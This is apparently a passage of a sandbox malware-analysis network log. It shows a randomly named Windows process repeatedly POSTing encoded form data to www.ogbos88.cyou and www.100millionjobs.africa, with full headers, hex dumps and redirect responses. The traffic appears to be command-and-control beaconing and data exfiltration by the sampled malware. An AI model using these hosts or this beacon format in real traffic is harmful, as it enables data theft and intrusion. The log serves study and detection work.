Jan 9, 2025 16:55:42.695679903 CET	800	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:55:42 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:55:42 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2KfUyvrYwELNR1kT60VeD1eP1O0YiGTZL58yfIZ3Az8f4e6MdeBqrh6w3vKAcXfgxJX8vC9vKQh89apecGX8xnZg44ezvn69WtzKuVFT1XoYW%2BRWwG5JP9d64ZX4iYmfbYCA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff59cf74907e248-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.30	49850	172.67.132.227	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:45.201143026 CET	819	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 65 4d 38 55 62 49 64 5a 74 43 7a 69 62 2f 79 74 2f 69 67 4a 51 6c 4c 48 61 6b 6b 34 44 42 52 54 62 43 36 76 6f 50 59 67 6a 44 51 5a 34 56 51 76 4e 62 76 43 42 69 37 78 5a 74 54 54 31 59 31 6e 2f 75 76 32 45 46 76 46 51 63 4e 73 77 62 47 71 39 5a 61 58 58 41 36 71 75 32 46 53 46 34 55 55 5a 74 74 6b 62 6b 65 65 41 36 66 59 7a 6e 5a 45 50 5a 52 73 4b 74 6a 76 30 4e 75 5a 35 46 53 48 76 58 37 34 6c 45 76 53 30 52 37 46 2b 5a 58 5a 53 55 2f 63 55 49 73 72 75 5a 69 39 78 31 72 77 59 57 68 71 78 36 53 79 6c 71 65 30 6e 61 70 70 68 7a 49 57 79 52 33 65 47 31 2f 30 53 4c 47 48 4b 67 39 2b 78 4c 64 46 64 37 6b 3d Data Ascii: 6B-l7F=XHoTkIbF1HmceM8UbIdZtCzib/yt/igJQlLHakk4DBRTbC6voPYgjDQZ4VQvNbvCBi7xZtTT1Y1n/uv2EFvFQcNswbGq9ZaXXA6qu2FSF4UUZttkbkeeA6fYznZEPZRsKtjv0NuZ5FSHvX74lEvS0R7F+ZXZSU/cUIsruZi9x1rwYWhqx6Sylqe0napphzIWyR3eG1/0SLGHKg9+xLdFd7k=
Jan 9, 2025 16:55:45.402821064 CET	800	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:55:45 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:55:45 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DW9aceb4%2BrpOeoKIEL26iLQmzZoAIuK5Bms8XOXuKG81xAy08fjgx0IjZi2Zv4BI6kX3RaqwUBYfPSdsTGeeP2Zrl72YFa3Jpai38Yt2dDaoBC4C5ZEq9tLXgyDJextBMZhx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff59d07ebd210bb-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.30	49851	172.67.132.227	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:47.856874943 CET	1289	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 65 4d 38 55 62 49 64 5a 74 43 7a 69 62 2f 79 74 2f 69 67 4a 51 6c 4c 48 61 6b 6b 34 44 42 70 54 62 77 79 76 6f 73 77 67 69 44 51 5a 37 56 51 71 4e 62 76 44 42 69 6a 31 5a 74 58 35 31 61 4e 6e 2b 49 54 32 54 45 76 46 65 63 4e 73 76 4c 47 72 79 35 61 43 58 44 54 68 75 32 56 53 46 34 55 55 5a 75 31 6b 53 56 65 65 43 36 66 5a 30 6e 5a 41 5a 5a 52 41 4b 74 37 2f 30 4d 61 6a 35 44 6d 48 73 6e 4c 34 6c 33 48 53 30 52 37 46 33 35 58 63 53 55 37 66 55 4a 45 5a 75 59 71 44 78 42 54 77 61 58 34 72 70 36 47 4d 35 6f 47 68 6c 49 31 55 6d 6c 59 39 73 51 72 41 58 54 72 57 45 70 4b 35 4f 6e 31 62 6b 35 68 53 4d 73 33 7a 4a 41 51 69 76 41 4e 4a 73 51 68 51 79 64 63 6d 35 37 58 53 68 7a 33 4d 37 30 65 37 79 32 56 4a 70 59 76 42 4d 2f 70 30 47 36 62 5a 59 46 4c 45 31 37 73 61 44 73 44 58 5a 38 44 38 4e 47 47 5a 42 76 43 6b 77 6f 49 39 78 38 4d 6b 46 6b 35 56 4f 33 30 4e 33 5a 6c 43 7a 4e 42 67 4d 72 47 68 38 35 74 57 51 38 53 50 6a 43 67 66 51 50 38 75 59 35 6d [TRUNCATED] Data Ascii: 6B-l7F=XHoTkIbF1HmceM8UbIdZtCzib/yt/igJQlLHakk4DBpTbwyvoswgiDQZ7VQqNbvDBij1ZtX51aNn+IT2TEvFecNsvLGry5aCXDThu2VSF4UUZu1kSVeeC6fZ0nZAZZRAKt7/0Maj5DmHsnL4l3HS0R7F35XcSU7fUJEZuYqDxBTwaX4rp6GM5oGhlI1UmlY9sQrAXTrWEpK5On1bk5hSMs3zJAQivANJsQhQydcm57XShz3M70e7y2VJpYvBM/p0G6bZYFLE17saDsDXZ8D8NGGZBvCkwoI9x8MkFk5VO30N3ZlCzNBgMrGh85tWQ8SPjCgfQP8uY5mKx19A4aV2kQNFygbqY6Nenmn9LMeUkq1SX1pyBYELdeAHjKuudTwXQly7qej7NTBAxTT0601ykFobqbQFMi+RjZcVbNG+iA7/lm8oHpEtM5qAtaU8jjXY6jscQXlzqvVY0ud0rNFfBRT1zdJCM04oIjBnROixhF2w8TDdCP2Cub4aJznTev+tFCP0A3Z9XAJUvIOOXfuxIGGmV8YRADxypiHmixP8hQcV1vCcfo175gzSzb6U5gpaCUTvl9pVH+KEIie5+RXJ0MizIF18qiN8i68PuIMk4SPjDxHJlYAnaHBbM5zuswp03c+mqAhlBQGWchFfnzh9gLYuSMrPAXcX2pC2bcFBZtnLA
Jan 9, 2025 16:55:47.856925011 CET	2647	OUT	Data Raw: 39 6a 49 77 77 46 46 52 75 4d 71 2f 47 71 51 4c 33 2f 75 54 42 45 4b 6a 48 6d 62 67 72 6d 47 2f 50 43 47 71 36 30 32 43 63 37 4a 67 47 7a 50 32 6b 4c 38 78 4f 41 32 62 33 48 2f 30 6b 7a 47 52 45 4c 77 55 45 30 53 41 59 49 4e 76 70 41 31 33 55 6e Data Ascii: 9jIwwFFRuMq/GqQL3/uTBEKjHmbgrmG/PCGq602Cc7JgGzP2kL8xOA2b3H/0kzGRELwUE0SAYINvpA13Un9dksgP70+cdjAva0fqPzQUI+VC/J2QeWGrOllVfV563WZ8vKq8O02KBVU6Gxuf4513UfHdp2xJu+CjimJ8bshOkFkRkZEv/XXiij/WHBedO2MQpqykIDMwvmO3p9cKuleFHbtts8uVny+f4FGvUSOgAtWOngYc0ki
Jan 9, 2025 16:55:47.994868040 CET	810	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:55:47 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:55:47 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ewfl4ORWwRW7Rg1MJHG48ei6sQ152y1%2B32GgmIEeK%2Bah3MRFNeeCxfTi6HlYxFrJ70UTkjYLvcUZT131yQl9BoL3hNo%2FOE02Q2%2BhJgTd%2FHGsm9Kk6u8uwgretzGgmO%2FgmOzW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff59d1888ed1407-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.30	49852	172.67.132.227	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:50.507252932 CET	535	OUT	GET /kj1o/?80k=lRapCPMXgDk&6B-l7F=aFAzn/LT2mOAaNQADN8poQDHC/ShywB+MmjNXW9rGStYTR2loNwIsxAevG8AaM/8DgC1YrG7rp0i0fn4DlXpdNAv+6uTj4+oUBXQsmt/Lr8OGOl6Yl/nOLw= HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:55:50.646014929 CET	781	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:55:50 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:55:50 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iPWwRjxDLE%2FXGi0MQJtrqvjOc1h2KWtNzBh80EQNY831F9Q4k4l2S8eDF3vTQgiZfJvv6AkfDYJXy1tj6xvNNlf3WCOk82FYEAF2uMnhMO%2BSB2ScCxpd7D%2BYtBxkBVqwII4n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff59d291a7a022a-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.30	49853	136.243.64.147	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:04.669420958 CET	826	OUT	POST /cxj4/ HTTP/1.1 Host: www.100millionjobs.africa Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.100millionjobs.africa Referer: http://www.100millionjobs.africa/cxj4/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 74 49 46 69 2b 57 4e 73 4a 6a 51 46 6d 48 49 50 47 61 64 4b 6c 5a 43 61 64 66 66 59 33 65 6a 5a 41 2b 67 77 48 76 76 4f 6d 49 45 75 54 35 4e 41 46 59 54 31 66 65 39 32 4c 6f 79 2f 51 58 65 70 6f 7a 51 73 72 4f 33 42 7a 77 70 73 79 62 45 31 7a 76 2f 76 71 67 55 2b 44 7a 56 38 49 37 45 76 35 45 50 4c 4c 4d 76 47 54 51 46 31 6c 61 61 43 34 44 76 50 35 45 62 4d 4c 6b 79 51 6d 43 58 4d 6b 63 52 33 2f 31 38 55 73 2f 2b 48 54 39 64 66 45 55 50 71 43 32 6f 53 72 4a 73 2b 47 31 6c 41 54 6f 51 48 68 49 55 34 59 78 32 38 76 4d 43 4a 75 49 31 58 51 76 4a 72 54 5a 65 70 67 36 79 6d 6b 41 3d 3d Data Ascii: 6B-l7F=tIFi+WNsJjQFmHIPGadKlZCadffY3ejZA+gwHvvOmIEuT5NAFYT1fe92Loy/QXepozQsrO3BzwpsybE1zv/vqgU+DzV8I7Ev5EPLLMvGTQF1laaC4DvP5EbMLkyQmCXMkcR3/18Us/+HT9dfEUPqC2oSrJs+G1lAToQHhIU4Yx28vMCJuI1XQvJrTZepg6ymkA==
Jan 9, 2025 16:56:04.898854971 CET	493	IN	HTTP/1.1 302 Found Date: Thu, 09 Jan 2025 15:56:04 GMT Server: Apache Location: http://maximumgroup.co.za/cxj4/ Content-Length: 290 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6d 61 78 69 6d 75 6d 67 72 6f 75 70 2e 63 6f 2e 7a 61 2f 63 78 6a 34 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 30 30 6d 69 6c 6c 69 6f 6e 6a 6f 62 73 2e 61 66 72 69 63 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://maximumgroup.co.za/cxj4/">here</a>.</p><hr><address>Apache Server at www.100millionjobs.africa Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.30	49854	136.243.64.147	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:07.436496019 CET	846	OUT	POST /cxj4/ HTTP/1.1 Host: www.100millionjobs.africa Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.100millionjobs.africa Referer: http://www.100millionjobs.africa/cxj4/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 74 49 46 69 2b 57 4e 73 4a 6a 51 46 6b 6e 34 50 46 39 42 4b 6b 35 43 64 42 76 66 59 35 2b 6a 64 41 2b 38 77 48 75 71 4c 6c 2b 55 75 57 72 56 41 47 64 2f 31 65 65 39 32 45 49 79 36 55 58 65 79 6f 7a 63 53 72 50 4c 42 7a 78 4e 73 79 65 34 31 7a 59 54 6f 71 77 55 38 43 44 56 36 48 62 45 76 35 45 50 4c 4c 49 4f 68 54 51 74 31 6c 75 6d 43 70 52 58 51 36 45 62 44 63 55 79 51 78 53 57 4c 6b 63 52 46 2f 33 45 36 73 39 32 48 54 2b 4a 66 45 46 50 70 56 47 6f 49 6b 70 74 48 41 6c 6b 4f 63 4a 5a 77 77 34 30 6c 66 53 50 49 6e 37 76 54 7a 4c 42 56 44 50 31 47 50 59 7a 42 69 34 7a 39 35 48 79 7a 66 69 44 2b 36 51 5a 6f 58 6e 68 6b 44 71 47 4e 73 41 6f 3d Data Ascii: 6B-l7F=tIFi+WNsJjQFkn4PF9BKk5CdBvfY5+jdA+8wHuqLl+UuWrVAGd/1ee92EIy6UXeyozcSrPLBzxNsye41zYToqwU8CDV6HbEv5EPLLIOhTQt1lumCpRXQ6EbDcUyQxSWLkcRF/3E6s92HT+JfEFPpVGoIkptHAlkOcJZww40lfSPIn7vTzLBVDP1GPYzBi4z95HyzfiD+6QZoXnhkDqGNsAo=
Jan 9, 2025 16:56:07.660809994 CET	493	IN	HTTP/1.1 302 Found Date: Thu, 09 Jan 2025 15:56:07 GMT Server: Apache Location: http://maximumgroup.co.za/cxj4/ Content-Length: 290 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6d 61 78 69 6d 75 6d 67 72 6f 75 70 2e 63 6f 2e 7a 61 2f 63 78 6a 34 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 30 30 6d 69 6c 6c 69 6f 6e 6a 6f 62 73 2e 61 66 72 69 63 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://maximumgroup.co.za/cxj4/">here</a>.</p><hr><address>Apache Server at www.100millionjobs.africa Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.30	49855	136.243.64.147	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:10.206928015 CET	2578	OUT	POST /cxj4/ HTTP/1.1 Host: www.100millionjobs.africa Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.100millionjobs.africa Referer: http://www.100millionjobs.africa/cxj4/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 74 49 46 69 2b 57 4e 73 4a 6a 51 46 6b 6e 34 50 46 39 42 4b 6b 35 43 64 42 76 66 59 35 2b 6a 64 41 2b 38 77 48 75 71 4c 6c 2b 63 75 57 2b 4a 41 47 36 4c 31 64 65 39 32 4e 6f 79 37 55 58 65 2f 6f 7a 46 56 72 50 47 6a 7a 79 6c 73 7a 34 73 31 36 4d 48 6f 68 77 55 38 48 7a 56 37 49 37 45 32 35 46 2f 50 4c 4d 69 68 54 51 74 31 6c 76 32 43 35 7a 76 51 38 45 62 4d 4c 6b 79 63 6d 43 57 76 6b 63 49 79 2f 78 59 45 73 2f 57 48 54 76 46 66 46 7a 54 70 56 47 6f 49 71 4a 73 67 41 6c 6f 4c 63 4a 41 72 77 35 4d 54 65 68 6a 49 6c 50 2f 46 67 5a 77 4b 64 74 46 2f 48 49 37 33 6b 37 6a 76 7a 41 7a 54 65 52 62 33 30 69 64 54 58 6a 6c 52 58 36 65 55 35 56 46 39 79 4d 4f 61 5a 4d 5a 44 42 78 78 79 6f 75 78 6b 67 58 57 75 78 4c 70 4f 70 55 4e 57 48 41 33 68 44 64 35 4d 2b 6d 6b 66 5a 43 6b 56 6a 6d 2f 71 76 2f 65 37 30 79 55 58 31 50 6a 77 59 35 51 62 36 6f 65 65 4d 52 63 74 64 67 6a 6b 67 52 50 4e 73 4c 42 58 54 69 6e 30 69 36 62 42 64 61 34 47 48 55 4b 33 38 56 64 6b 6a 57 4d 56 6c 68 57 7a 63 34 6a [TRUNCATED] Data Ascii: 6B-l7F=tIFi+WNsJjQFkn4PF9BKk5CdBvfY5+jdA+8wHuqLl+cuW+JAG6L1de92Noy7UXe/ozFVrPGjzylsz4s16MHohwU8HzV7I7E25F/PLMihTQt1lv2C5zvQ8EbMLkycmCWvkcIy/xYEs/WHTvFfFzTpVGoIqJsgAloLcJArw5MTehjIlP/FgZwKdtF/HI73k7jvzAzTeRb30idTXjlRX6eU5VF9yMOaZMZDBxxyouxkgXWuxLpOpUNWHA3hDd5M+mkfZCkVjm/qv/e70yUX1PjwY5Qb6oeeMRctdgjkgRPNsLBXTin0i6bBda4GHUK38VdkjWMVlhWzc4j/RfPUjQWuLjGcYUvjE7OK2eAA4+F0H9oWYDMg6l68D0PbWTHyo9AGkbBGdnFtERyRs5qwF8W7oB7FuhROJVLINc8Ohlro7Zn413CJLeyWiOmyS1eguaUTfibgirNCBcDDAsadFSQ6lUr0d8e5m+05qFQhUqV+IrrZJqW6360iyCjQjF/Zd5MuAcuPuptetB3VNKGX8d2LCD/3MEES0ttsaxCl9vwiJVXWhy3J01qIhmAvChByjlWCKXG0uMXltKfI/InDQgJf9e/K7+rcqAZp34tBm9HFRNfv5EEbL2SRnac0yA6MaXk183srji9jEyApmJ3/UesraOuYBn6w/2995CpGAUHQjs1WypkoKhLtWhvSmPn0pW6u9wnhJrCuqZ4eTrQqwmhQRx6i1Ec/fjz6tg5FZwd1PRW/h07bjuJCLhIUGtIYAkgY9Iro0gKLe9RgMoZSOtr/WgR6OOlg+/oax7+g8P1sG7dAHzUsg9o8nDdc0MyMJK537jeJdXJkSFKEFxbRtWWtoSNiBp1OFzpisqhOVLd7sHytpw4ILVPe0FP2QUKsp+2/NjKOL5itlntugnTSuNLHwgCs3nEHDZY+sEtdNkWs+QZutW84cqEHlscJz1CJnm/ncm0Js0KfL4ryQPfmKkKlinF97QeklovrEpUGThalzzWGh [TRUNCATED]
Jan 9, 2025 16:56:10.206948042 CET	1385	OUT	Data Raw: 61 66 55 45 41 58 42 45 62 75 46 2f 66 44 70 37 4a 43 43 61 52 59 46 30 2f 70 53 77 76 41 64 69 6e 77 78 34 43 4c 70 35 72 44 78 4b 59 75 68 33 67 43 72 4d 49 43 4c 33 45 64 43 77 50 68 46 4e 6e 4a 64 46 33 61 38 70 48 66 49 79 44 2b 7a 4b 76 46 Data Ascii: afUEAXBEbuF/fDp7JCCaRYF0/pSwvAdinwx4CLp5rDxKYuh3gCrMICL3EdCwPhFNnJdF3a8pHfIyD+zKvFXmCdPVRRDXpMcgSGokWiKHpm3f+SSTzqzTSfPAeRrxYswJxnfUUbwqWUHj9u+OWEtRpvWeLuGPOyEhCv/3Fq8yAbHV4l0nu40AFgJba4ajR2/PPOn6wJngjRIQnqEgEi3pxiONKSCy0cDp9k5o8sgi9jDqpvqRaMa
